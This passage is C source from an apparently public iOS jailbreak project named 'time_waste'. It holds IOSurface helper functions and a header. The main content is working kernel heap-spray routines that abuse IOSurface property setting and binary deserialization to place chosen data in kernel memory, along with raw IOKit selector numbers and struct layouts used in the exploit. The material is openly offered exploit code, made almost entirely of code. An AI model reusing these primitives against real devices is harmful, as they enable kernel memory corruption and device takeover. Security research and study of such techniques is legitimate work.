args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;
args->binary[i++] = kalloc_key;
args->binary[i++] = 0;
kern_return_t ret = IOSurface_setValue(args, args_size);
free(args);
return ret;
}
int IOSurface_kmem_alloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key) {
if (size < pagesize) {
printf("[-][IOSurface] Size too small for kmem_alloc\n");
return KERN_FAILURE;
}
if (size > 0x00ffffff) {
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
return KERN_FAILURE;
}
if (count > 0x00ffffff) {
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
return KERN_FAILURE;
}
size_t args_size = sizeof(struct IOSurfaceValueArgs) + count * (((size + 3)/4) * 4) + 6 * 4 + count * 4;
struct IOSurfaceValueArgs *args = calloc(1, args_size);
args->surface_id = IOSurface_ID;
int i = 0;
args->binary[i++] = kOSSerializeBinarySignature;
args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;
args->binary[i++] = kOSSerializeArray | count;
for (int c = 0; c < count; c++) {
args->binary[i++] = kOSSerializeData | size | ((c == count - 1) ? kOSSerializeEndCollection : 0);
memcpy(&args->binary[i], data, size);
i += (size + 3)/4;
}
args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;
args->binary[i++] = kalloc_key;
args->binary[i++] = 0;
kern_return_t ret = IOSurface_setValue(args, args_size);
free(args);
return ret;
}
int IOSurface_set_indexed_timestamp(io_service_t userclient, uint32_t surface_id, uint32_t index, uint64_t timestamp) {
uint64_t args[3] = {0};
args[0] = surface_id;
args[1] = index;
args[2] = timestamp;
kern_return_t ret = IOConnectCallMethod(userclient, IOSurfaceRootUserClient_set_indexed_timestamp, args, 3, NULL, 0, NULL, NULL, NULL, NULL);
return ret;
}
int IOSurface_get_ycbcrmatrix(io_service_t userclient, uint32_t surface_id, uint32_t *output) {
uint64_t args[1] = {0};
args[0] = surface_id;
uint64_t out[1] = {0};
uint32_t count = 1;
kern_return_t ret = IOConnectCallMethod(userclient, IOSurfaceRootUserClient_get_ycbcrmatrix, args, 1, NULL, 0, out, &count, NULL, NULL);
if (ret) {
return ret;
}
*output = (uint32_t)out[0];
return 0;
}
void term_IOSurface() {
if (IOSurfaceRoot) IOObjectRelease(IOSurfaceRoot);
if (IOSurfaceRootUserClient) IOServiceClose(IOSurfaceRootUserClient);
IOSurfaceRoot = 0;
IOSurfaceRootUserClient = 0;
IOSurface_ID = 0;
}
//
// IOSurface_stuff.h
// time_waste
//
// Created by Jake James on 2/22/20.
// Copyright © 2020 Jake James. All rights reserved.
//
#ifndef IOSurface_stuff_h
#define IOSurface_stuff_h
#import <stdio.h>
#import <stdlib.h>
#import <unistd.h>
#import <IOKit/IOKitLib.h>
#import <mach/mach.h>
#define IOSurfaceRootUserClient_release_surface_selector 1
#define IOSurfaceRootUserClient_create_surface_selector 6 // actually, this is the fast path version, normal one is selector 0
#define IOSurfaceRootUserClient_get_ycbcrmatrix 8
#define IOSurfaceRootUserClient_set_value_selector 9
#define IOSurfaceRootUserClient_get_value_selector 10
#define IOSurfaceRootUserClient_remove_value_selector 11
#define IOSurfaceRootUserClient_increment_use_count_selector 14
#define IOSurfaceRootUserClient_decrement_use_count_selector 15
#define IOSurfaceRootUserClient_set_notify_selector 17
#define IOSurfaceRootUserClient_set_indexed_timestamp 33
struct IOSurfaceFastCreateArgs {
uint64_t address;
uint32_t width;
uint32_t height;
uint32_t pixel_format;
uint32_t bytes_per_element;
uint32_t bytes_per_row;
uint32_t alloc_size;
};
struct IOSurfaceLockResult {
uint8_t _pad1[0x18];
uint32_t surface_id;
uint8_t _pad2[0xf60-0x18-0x4];
};
struct IOSurfaceValueArgs {
uint32_t surface_id;
uint32_t field_4;
union {
uint32_t binary[0];
char xml[0];
};
};
struct IOSurfaceValueResultArgs {
uint32_t field_0;
};
enum {
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollection = 0x80000000U,
kOSSerializeBinarySignature = 0x000000d3U,
};
int init_IOSurface(void);
void term_IOSurface(void);
int release_IOSurface(io_service_t userclient, int surface_id);
int IOSurface_setValue(struct IOSurfaceValueArgs *args, size_t args_size);
int IOSurface_getValue(struct IOSurfaceValueArgs *args, int args_size, struct IOSurfaceValueArgs *output, size_t *out_size);
int IOSurface_removeValue(struct IOSurfaceValueArgs *args, size_t args_size);
int IOSurface_remove_property(uint32_t key);
int IOSurface_kalloc(void *data, uint32_t size, uint32_t kalloc_key);
int IOSurface_kalloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key);
int IOSurface_empty_kalloc(uint32_t size, uint32_t kalloc_key);
int IOSurface_kmem_alloc(void *data, uint32_t size, uint32_t kalloc_key);
int IOSurface_kmem_alloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key);
int IOSurface_set_indexed_timestamp(io_service_t userclient, uint32_t surface_id, uint32_t index, uint64_t timestamp);
int IOSurface_get_ycbcrmatrix(io_service_t userclient, uint32_t surface_id, uint32_t *output);
extern uint32_t pagesize;
extern io_connect_t IOSurfaceRoot;
extern io_service_t IOSurfaceRootUserClient;
extern uint32_t IOSurface_ID;
#endif /* IOSurface_stuff_h */
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment